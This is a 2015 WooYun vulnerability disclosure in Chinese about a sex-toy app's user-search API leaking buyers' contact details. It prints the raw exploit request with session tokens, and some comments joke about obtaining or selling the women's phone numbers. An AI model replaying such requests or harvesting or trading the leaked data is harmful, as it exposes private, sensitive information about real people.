当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0141274

漏洞标题：小爱爱设计缺陷导致敏感信息泄漏（那些年买了跳蛋的妹子们的联系方式）

相关厂商：aifuns.com

漏洞作者： 北京方便面

提交时间：2015-09-17 15:29

修复时间：2015-11-01 17:18

公开时间：2015-11-01 17:18

漏洞类型：敏感信息泄露

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-17： 细节已通知厂商并且等待厂商处理中
2015-09-17： 厂商已经确认，细节仅向厂商公开
2015-09-27： 细节向核心白帽子及相关领域专家公开
2015-10-07： 细节向普通白帽子公开
2015-10-17： 细节向实习白帽子公开
2015-11-01： 细节向公众公开

简要描述：

小爱爱设计缺陷导致敏感信息泄漏（那些年买了跳蛋的妹子们的联系方式）
某妹子：“哥哥棒棒哒，弄的人家不要不要的...”

详细说明：

IMG_0693.PNG


POST /api/v2/user/searchuser HTTP/1.1
Host: api.aifuns.com:80
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Proxy-Connection: keep-alive
Accept: */*
User-Agent: %E5%B0%8F%E7%88%B1%E7%88%B1/31 CFNetwork/711.3.18 Darwin/14.0.0
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Content-Length: 660
data=%7B%0A%20%20%22appver%22%20:%20%2231%22,%0A%20%20%22channel%22%20:%20%22appstore%22,%0A%20%20%22lang%22%20:%20%22zh-Hans%22,%0A%20%20%22aiainum%22%20:%20%221081376%22,%0A%20%20%22platform%22%20:%20%221%22,%0A%20%20%22ver%22%20:%20%221.0%22,%0A%20%20%22tk%22%20:%20%22bae2f8f3242097156e96b94ef187209a%22,%0A%20%20%22clientid%22%20:%20%2218714F45-788F-4458-81EB-81222A71A061%22,%0A%20%20%22token%22%20:%20%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOnsiY2xpZW50SWQiOiIxODcxNEY0NS03ODhGLTQ0NTgtODFFQi04MTIyMkE3MUEwNjEiLCJ1c2VySWQiOiI5MjU0MiJ9LCJpdWEiOjE0NDQ4ODczNTR9.Lb6TxRIzsR93jBhRF3wD6Hv_HNbV0rUHwfCX9pIgzZQ%22,%0A%20%20%22appid%22%20:%20%221%22%0A%7D


屏幕快照 2015-09-15 下午1.37.09.png


屏幕快照 2015-09-15 下午12.50.38.png


16ABE700-C4F0-49BA-861C-7C3B77EC1A24.png


IMG_0684.JPG


IMG_0685.JPG


IMG_0688.PNG


IMG_0689.JPG


IMG_0690.JPG


IMG_0691.JPG


IMG_0692.PNG


福利不少啊：

IMG_0686.JPG


IMG_0687.JPG


E2B9F15C995607826E57FF3C6DA43796.png

漏洞证明：

修复方案：

版权声明：转载请注明来源 北京方便面@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-09-17 17:16

厂商回复：

感谢发现者，这个漏洞和您提的另外一个漏洞基本是重复的。不过还是谢谢你。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-09-15 13:48 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗，任何自称Finger并...)

    哥哥棒棒哒，弄的人家不要不要的...

  2. 2015-09-15 13:50 | 李旭敏 ( 普通白帽子 | Rank:524 漏洞数:75 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    我要去给我的杯找个蛋。

  3. 2015-09-15 13:51 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:2818 漏洞数:562 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    来 便面兄 私聊下他们的电话

  4. 2015-09-15 13:55 | 北京方便面 认证白帽子 ( 核心白帽子 | Rank:911 漏洞数:67 | 我爱吃北京方便面)

    @爱上平顶山 顶山兄，买个杯去吧

  5. 2015-09-15 14:07 | 浮萍 ( 普通白帽子 | Rank:604 漏洞数:124 | 450走起？350ing)

    哥哥棒棒大

  6. 2015-09-15 14:11 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    还是那句话，简直比1024还1024！

  7. 2015-09-15 15:12 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    好恐怖

  8. 2015-09-15 15:20 | 土夫子 ( 普通白帽子 | Rank:225 漏洞数:47 | 自由)

    网站都被你们日烂了

  9. 2015-09-15 17:09 | Bird ( 实习白帽子 | Rank:60 漏洞数:25 | Stay hungry. Stay foolish.)

    你们这些禽兽>.<

  10. 2015-09-15 18:16 | NeverEnd ( 路人 | Rank:2 漏洞数:1 | hack)

    >.< 妹子们交给我来！

  11. 2015-09-15 20:01 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    哎。。我的节操呢~

  12. 2015-09-15 20:32 | niliu 认证白帽子 ( 核心白帽子 | Rank:1540 漏洞数:207 | 逆流而上)

    棒棒哒

  13. 2015-09-15 20:46 | suolong ( 实习白帽子 | Rank:47 漏洞数:11 | 我有个野心，就是要成为世界第一的贱士！！)

    妹子们要颤抖了。

  14. 2015-09-16 01:26 | 一只猿 ( 普通白帽子 | Rank:483 漏洞数:90 | 硬件与无线通信研究方向)

    最近挖洞越来越讲究,看到洞就高潮了

  15. 2015-09-16 10:17 | 红客十年 ( 普通白帽子 | Rank:336 漏洞数:64 | 去年离职富士康，回到家中上蓝翔，蓝翔毕业...)

    大哥妹子联系方式多少。

  16. 2015-09-16 16:41 | Inset ( 路人 | Rank:8 漏洞数:1 | 闲来无事，到处逛逛！)

    信息量很大啊。

  17. 2015-09-16 17:18 | 随风的风 ( 普通白帽子 | Rank:131 漏洞数:48 | [code]时光如水，总是无言，你若安好，便是...)

    妹子们的联系方式可以出售了。。。

  18. 2015-09-16 17:28 | 泪雨无魂 ( 普通白帽子 | Rank:151 漏洞数:45 )

    哥哥棒棒哒，弄的人家不要不要的...

  19. 2015-09-17 16:03 | 牛 小 帅 ( 普通白帽子 | Rank:444 漏洞数:104 | 什么狗屁爱，生活已乱套！人的一生中，...)

    跳蛋是什么？

  20. 2015-09-17 16:07 | hackyandi ( 普通白帽子 | Rank:126 漏洞数:16 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    要多吊的标题才能出闪电

  21. 2015-09-17 17:40 | feng ( 普通白帽子 | Rank:689 漏洞数:81 | 想刷个6D)

    我只想问问洞主 杯子好用吗

  22. 2015-09-17 21:00 | 艾薇儿 ( 普通白帽子 | Rank:493 漏洞数:46 | 性别：男)

    我只想问问洞主 杯子好用吗

  23. 2015-09-18 10:25 | 北京方便面 认证白帽子 ( 核心白帽子 | Rank:911 漏洞数:67 | 我爱吃北京方便面)

    @艾薇儿 @feng 没用过

  24. 2015-11-01 17:23 | 苦咖啡 ( 实习白帽子 | Rank:59 漏洞数:11 | 我就一菜逼，来看大牛装逼的)

    尼玛 说了这么多 裤子何在